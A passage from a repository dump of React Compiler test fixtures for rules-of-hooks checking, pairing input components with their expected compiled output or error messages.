    "content": "\n## Input\n\n```javascript\n// Is valid but hard to compute by brute-forcing\nfunction MyComponent() {\n  // 40 conditions\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n\n  // 10 hooks\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n}\n\n```\n\n## Code\n\n```javascript\n// Is valid but hard to compute by brute-forcing\nfunction MyComponent() {\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  if (c) {\n  }\n\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-c1e8c7f4c191.js",
    "content": "// Is valid but hard to compute by brute-forcing\nfunction MyComponent() {\n  // 40 conditions\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n  if (c) {\n  } else {\n  }\n\n  // 10 hooks\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n  useHook();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-c5d1f3143c4c.expect.md",
    "content": "\n## Input\n\n```javascript\n// Regression test for incorrectly flagged valid code.\nfunction RegressionTest() {\n  const foo = cond ? a : b;\n  useState();\n}\n\n```\n\n## Code\n\n```javascript\n// Regression test for incorrectly flagged valid code.\nfunction RegressionTest() {\n  cond ? a : b;\n  useState();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-c5d1f3143c4c.js",
    "content": "// Regression test for incorrectly flagged valid code.\nfunction RegressionTest() {\n  const foo = cond ? a : b;\n  useState();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-cfdfe5572fc7.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useHook1();\n  useHook2();\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useHook1();\n  useHook2();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-cfdfe5572fc7.js",
    "content": "// Valid because hooks can call hooks.\nfunction useHook() {\n  useHook1();\n  useHook2();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-df4d750736f3.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled\n// Valid because they're not matching use[A-Z].\nfooState();\n_use();\n_useState();\nuse_hook();\n// also valid because it's not matching the PascalCase namespace\njest.useFakeTimer();\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled\n// Valid because they're not matching use[A-Z].\nfooState();\n_use();\n_useState();\nuse_hook();\n// also valid because it's not matching the PascalCase namespace\njest.useFakeTimer();\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-df4d750736f3.js",
    "content": "// @expectNothingCompiled\n// Valid because they're not matching use[A-Z].\nfooState();\n_use();\n_useState();\nuse_hook();\n// also valid because it's not matching the PascalCase namespace\njest.useFakeTimer();\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-dfde14171fcd.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled\n// Valid because classes can call functions.\n// We don't consider these to be hooks.\nclass C {\n  m() {\n    this.useHook();\n    super.useHook();\n  }\n}\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled\n// Valid because classes can call functions.\n// We don't consider these to be hooks.\nclass C {\n  m() {\n    this.useHook();\n    super.useHook();\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-dfde14171fcd.js",
    "content": "// @expectNothingCompiled\n// Valid because classes can call functions.\n// We don't consider these to be hooks.\nclass C {\n  m() {\n    this.useHook();\n    super.useHook();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-e5dd6caf4084.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because functions can call functions.\nfunction normalFunctionWithConditionalFunction() {\n  if (cond) {\n    doSomething();\n  }\n}\n\n```\n\n## Code\n\n```javascript\n// Valid because functions can call functions.\nfunction normalFunctionWithConditionalFunction() {\n  if (cond) {\n    doSomething();\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-e5dd6caf4084.js",
    "content": "// Valid because functions can call functions.\nfunction normalFunctionWithConditionalFunction() {\n  if (cond) {\n    doSomething();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-e66a744cffbe.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because hooks can be used in anonymous function arguments to\n// forwardRef.\nconst FancyButton = forwardRef(function (props, ref) {\n  useHook();\n  return <button {...props} ref={ref} />;\n});\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Valid because hooks can be used in anonymous function arguments to\n// forwardRef.\nconst FancyButton = forwardRef(function (props, ref) {\n  const $ = _c(3);\n  useHook();\n  let t0;\n  if ($[0] !== props || $[1] !== ref) {\n    t0 = <button {...props} ref={ref} />;\n    $[0] = props;\n    $[1] = ref;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-e66a744cffbe.js",
    "content": "// Valid because hooks can be used in anonymous function arguments to\n// forwardRef.\nconst FancyButton = forwardRef(function (props, ref) {\n  useHook();\n  return <button {...props} ref={ref} />;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-eacfcaa6ef89.expect.md",
    "content": "\n## Input\n\n```javascript\n// Valid because hooks can be used in anonymous function arguments to\n// memo.\nconst MemoizedFunction = memo(function (props) {\n  useHook();\n  return <button {...props} />;\n});\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Valid because hooks can be used in anonymous function arguments to\n// memo.\nconst MemoizedFunction = memo(function (props) {\n  const $ = _c(2);\n  useHook();\n  let t0;\n  if ($[0] !== props) {\n    t0 = <button {...props} />;\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-eacfcaa6ef89.js",
    "content": "// Valid because hooks can be used in anonymous function arguments to\n// memo.\nconst MemoizedFunction = memo(function (props) {\n  useHook();\n  return <button {...props} />;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-fe6042f7628b.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// This is valid because \"use\"-prefixed functions called in\n// unnamed function arguments are not assumed to be hooks.\nunknownFunction(function (foo, bar) {\n  if (foo) {\n    useNotAHook(bar);\n  }\n});\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// This is valid because \"use\"-prefixed functions called in\n// unnamed function arguments are not assumed to be hooks.\nunknownFunction(function (foo, bar) {\n  if (foo) {\n    useNotAHook(bar);\n  }\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-fe6042f7628b.js",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\"\n// This is valid because \"use\"-prefixed functions called in\n// unnamed function arguments are not assumed to be hooks.\nunknownFunction(function (foo, bar) {\n  if (foo) {\n    useNotAHook(bar);\n  }\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-279ac76f53af.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Unsupported input\n\n// Valid -- this is a regression test.\njest.useFakeTimers();\nbeforeEach(() => {\n  jest.useRealTimers();\n});\n\n```\n\n## Code\n\n```javascript\n// @skip\n// Unsupported input\n\n// Valid -- this is a regression test.\njest.useFakeTimers();\nbeforeEach(() => {\n  jest.useRealTimers();\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-279ac76f53af.js",
    "content": "// @skip\n// Unsupported input\n\n// Valid -- this is a regression test.\njest.useFakeTimers();\nbeforeEach(() => {\n  jest.useRealTimers();\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Unsupported input\n\n// Valid because hooks can be used in anonymous function arguments to\n// React.memo.\nconst MemoizedFunction = React.memo(props => {\n  useHook();\n  return <button {...props} />;\n});\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @skip\n// Unsupported input\n\n// Valid because hooks can be used in anonymous function arguments to\n// React.memo.\nconst MemoizedFunction = React.memo((props) => {\n  const $ = _c(2);\n  useHook();\n  let t0;\n  if ($[0] !== props) {\n    t0 = <button {...props} />;\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c.js",
    "content": "// @skip\n// Unsupported input\n\n// Valid because hooks can be used in anonymous function arguments to\n// React.memo.\nconst MemoizedFunction = React.memo(props => {\n  useHook();\n  return <button {...props} />;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-6949b255e7eb.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Unsupported input\n\n// Valid because the neither the conditions before or after the hook affect the hook call\n// Failed prior to implementing BigInt because pathsFromStartToEnd and allPathsFromStartToEnd were too big and had rounding errors\nconst useSomeHook = () => {};\n\nconst SomeName = () => {\n  const filler = FILLER ?? FILLER ?? FILLER;\n  const filler2 = FILLER ?? FILLER ?? FILLER;\n  const filler3 = FILLER ?? FILLER ?? FILLER;\n  const filler4 = FILLER ?? FILLER ?? FILLER;\n  const filler5 = FILLER ?? FILLER ?? FILLER;\n  const filler6 = FILLER ?? FILLER ?? FILLER;\n  const filler7 = FILLER ?? FILLER ?? FILLER;\n  const filler8 = FILLER ?? FILLER ?? FILLER;\n\n  useSomeHook();\n\n  if (anyConditionCanEvenBeFalse) {\n    return null;\n  }\n\n  return (\n    <React.Fragment>\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n    </React.Fragment>\n  );\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @skip\n// Unsupported input\n\n// Valid because the neither the conditions before or after the hook affect the hook call\n// Failed prior to implementing BigInt because pathsFromStartToEnd and allPathsFromStartToEnd were too big and had rounding errors\nconst useSomeHook = () => {};\n\nconst SomeName = () => {\n  const $ = _c(1);\n  (FILLER ?? FILLER, FILLER) ?? FILLER;\n  (FILLER ?? FILLER, FILLER) ?? FILLER;\n  (FILLER ?? FILLER, FILLER) ?? FILLER;\n  (FILLER ?? FILLER, FILLER) ?? FILLER;\n  (FILLER ?? FILLER, FILLER) ?? FILLER;\n  (FILLER ?? FILLER, FILLER) ?? FILLER;\n  (FILLER ?? FILLER, FILLER) ?? FILLER;\n  (FILLER ?? FILLER, FILLER) ?? FILLER;\n\n  useSomeHook();\n\n  if (anyConditionCanEvenBeFalse) {\n    return null;\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <React.Fragment>\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n        {FILLER ? FILLER : FILLER}\n      </React.Fragment>\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-6949b255e7eb.js",
    "content": "// @skip\n// Unsupported input\n\n// Valid because the neither the conditions before or after the hook affect the hook call\n// Failed prior to implementing BigInt because pathsFromStartToEnd and allPathsFromStartToEnd were too big and had rounding errors\nconst useSomeHook = () => {};\n\nconst SomeName = () => {\n  const filler = FILLER ?? FILLER ?? FILLER;\n  const filler2 = FILLER ?? FILLER ?? FILLER;\n  const filler3 = FILLER ?? FILLER ?? FILLER;\n  const filler4 = FILLER ?? FILLER ?? FILLER;\n  const filler5 = FILLER ?? FILLER ?? FILLER;\n  const filler6 = FILLER ?? FILLER ?? FILLER;\n  const filler7 = FILLER ?? FILLER ?? FILLER;\n  const filler8 = FILLER ?? FILLER ?? FILLER;\n\n  useSomeHook();\n\n  if (anyConditionCanEvenBeFalse) {\n    return null;\n  }\n\n  return (\n    <React.Fragment>\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n      {FILLER ? FILLER : FILLER}\n    </React.Fragment>\n  );\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-e0a5db3ae21e.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Unsupported input\n\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useState();\n}\nconst whatever = function useHook() {\n  useState();\n};\nconst useHook1 = () => {\n  useState();\n};\nlet useHook2 = () => useState();\nuseHook2 = () => {\n  useState();\n};\n({\n  useHook: () => {\n    useState();\n  },\n});\n({\n  useHook() {\n    useState();\n  },\n});\nconst {\n  useHook3 = () => {\n    useState();\n  },\n} = {};\n({\n  useHook = () => {\n    useState();\n  },\n} = {});\nNamespace.useHook = () => {\n  useState();\n};\n\n```\n\n## Code\n\n```javascript\n// @skip\n// Unsupported input\n\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useState();\n}\n\nconst whatever = function useHook() {\n  useState();\n};\n\nconst useHook1 = () => {\n  useState();\n};\n\nlet useHook2 = () => {\n  return useState();\n};\nuseHook2 = () => {\n  useState();\n};\n\n({\n  useHook: () => {\n    useState();\n  },\n});\n({\n  useHook() {\n    useState();\n  },\n});\nconst {\n  useHook3 = () => {\n    useState();\n  },\n} = {};\n({\n  useHook = () => {\n    useState();\n  },\n} = {});\nNamespace.useHook = () => {\n  useState();\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-e0a5db3ae21e.js",
    "content": "// @skip\n// Unsupported input\n\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useState();\n}\nconst whatever = function useHook() {\n  useState();\n};\nconst useHook1 = () => {\n  useState();\n};\nlet useHook2 = () => useState();\nuseHook2 = () => {\n  useState();\n};\n({\n  useHook: () => {\n    useState();\n  },\n});\n({\n  useHook() {\n    useState();\n  },\n});\nconst {\n  useHook3 = () => {\n    useState();\n  },\n} = {};\n({\n  useHook = () => {\n    useState();\n  },\n} = {});\nNamespace.useHook = () => {\n  useState();\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-e9f9bac89f8f.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Unsupported input\n\n// Valid because hooks can be used in anonymous arrow-function arguments\n// to forwardRef.\nconst FancyButton = React.forwardRef((props, ref) => {\n  useHook();\n  return <button {...props} ref={ref} />;\n});\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @skip\n// Unsupported input\n\n// Valid because hooks can be used in anonymous arrow-function arguments\n// to forwardRef.\nconst FancyButton = React.forwardRef((props, ref) => {\n  const $ = _c(3);\n  useHook();\n  let t0;\n  if ($[0] !== props || $[1] !== ref) {\n    t0 = <button {...props} ref={ref} />;\n    $[0] = props;\n    $[1] = ref;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-e9f9bac89f8f.js",
    "content": "// @skip\n// Unsupported input\n\n// Valid because hooks can be used in anonymous arrow-function arguments\n// to forwardRef.\nconst FancyButton = React.forwardRef((props, ref) => {\n  useHook();\n  return <button {...props} ref={ref} />;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-fadd52c1e460.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Unsupported input\n\n// Currently invalid.\n// These are variations capturing the current heuristic--\n// we only allow hooks in PascalCase or useFoo functions.\n// We *could* make some of these valid. But before doing it,\n// consider specific cases documented above that contain reasoning.\nfunction a() {\n  useState();\n}\nconst whatever = function b() {\n  useState();\n};\nconst c = () => {\n  useState();\n};\nlet d = () => useState();\ne = () => {\n  useState();\n};\n({\n  f: () => {\n    useState();\n  },\n});\n({\n  g() {\n    useState();\n  },\n});\nconst {\n  j = () => {\n    useState();\n  },\n} = {};\n({\n  k = () => {\n    useState();\n  },\n} = {});\n\n```\n\n## Code\n\n```javascript\n// @skip\n// Unsupported input\n\n// Currently invalid.\n// These are variations capturing the current heuristic--\n// we only allow hooks in PascalCase or useFoo functions.\n// We *could* make some of these valid. But before doing it,\n// consider specific cases documented above that contain reasoning.\nfunction a() {\n  useState();\n}\n\nconst whatever = function b() {\n  useState();\n};\n\nconst c = () => {\n  useState();\n};\n\nlet d = () => {\n  return useState();\n};\ne = () => {\n  useState();\n};\n\n({\n  f: () => {\n    useState();\n  },\n});\n({\n  g() {\n    useState();\n  },\n});\nconst {\n  j = () => {\n    useState();\n  },\n} = {};\n({\n  k = () => {\n    useState();\n  },\n} = {});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-fadd52c1e460.js",
    "content": "// @skip\n// Unsupported input\n\n// Currently invalid.\n// These are variations capturing the current heuristic--\n// we only allow hooks in PascalCase or useFoo functions.\n// We *could* make some of these valid. But before doing it,\n// consider specific cases documented above that contain reasoning.\nfunction a() {\n  useState();\n}\nconst whatever = function b() {\n  useState();\n};\nconst c = () => {\n  useState();\n};\nlet d = () => useState();\ne = () => {\n  useState();\n};\n({\n  f: () => {\n    useState();\n  },\n});\n({\n  g() {\n    useState();\n  },\n});\nconst {\n  j = () => {\n    useState();\n  },\n} = {};\n({\n  k = () => {\n    useState();\n  },\n} = {});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-368024110a58.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nconst FancyButton = forwardRef(function (props, ref) {\n  if (props.fancy) {\n    useCustomHook();\n  }\n  return <button ref={ref}>{props.children}</button>;\n});\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\ntodo.error.invalid-rules-of-hooks-368024110a58.ts:8:4\n   6 | const FancyButton = forwardRef(function (props, ref) {\n   7 |   if (props.fancy) {\n>  8 |     useCustomHook();\n     |     ^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   9 |   }\n  10 |   return <button ref={ref}>{props.children}</button>;\n  11 | });\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-368024110a58.js",
